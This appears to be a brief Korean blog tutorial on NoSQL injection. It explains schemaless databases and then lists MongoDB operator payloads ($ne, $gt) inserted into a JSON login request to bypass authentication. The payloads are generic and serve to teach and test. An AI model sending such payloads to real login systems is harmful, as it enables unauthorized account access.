Web Security/web hacking
NO-SQL injection
minpo
2024. 10. 2. 18:52
파일의 저장방식은 아래 사진처럼 발전하였다. NoSQL은 전통적인 관계형 데이터베이스 관리 시스템(RDBMS)과는 다른 방식으로 데이터를 저장하고 관리하는 데이터베이스 유형을 의미합니다. **스키마(Schema)**는 데이터베이스에서 데이터 구조와 그 구조에 대한 제약 조건을 정의하는 것을 의미합니다. 쉽게 말해, 데이터베이스 스키마는 데이터가 어떻게 조직되고 저장될 것인지를 나타내는 청사진 또는 설계도와 같습니다.
NO-sql에서는 스키마가 정해져 있지 않으며 key-value와 같은 형식으로 값을 저장합니다. 또한, JSON 형식으로 쿼리를 만들 수 있습니다. 대표적으로 몽고 DB와 REDIS 가 존재합니다.

그렇다면 NO-SQL injection은 어떤 방식으로 진행되는지 몽고DB 통하여 설명하도록 하겠습니다.
일단 몽고 DB의 쿼리는 json 형식으로 나타낼 수 있으며 다양한 연산자를 제공하며 '$'를 접두 문자로 하여 이들을 사용할 수 있습니다.
만약 아래와 같은 로그인 요청이 있다고 가정한다면 이렇게 테스트해볼 수 있습니다.
POST /login HTTP/1.1
{"username": "userid", "password": "password"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
출처: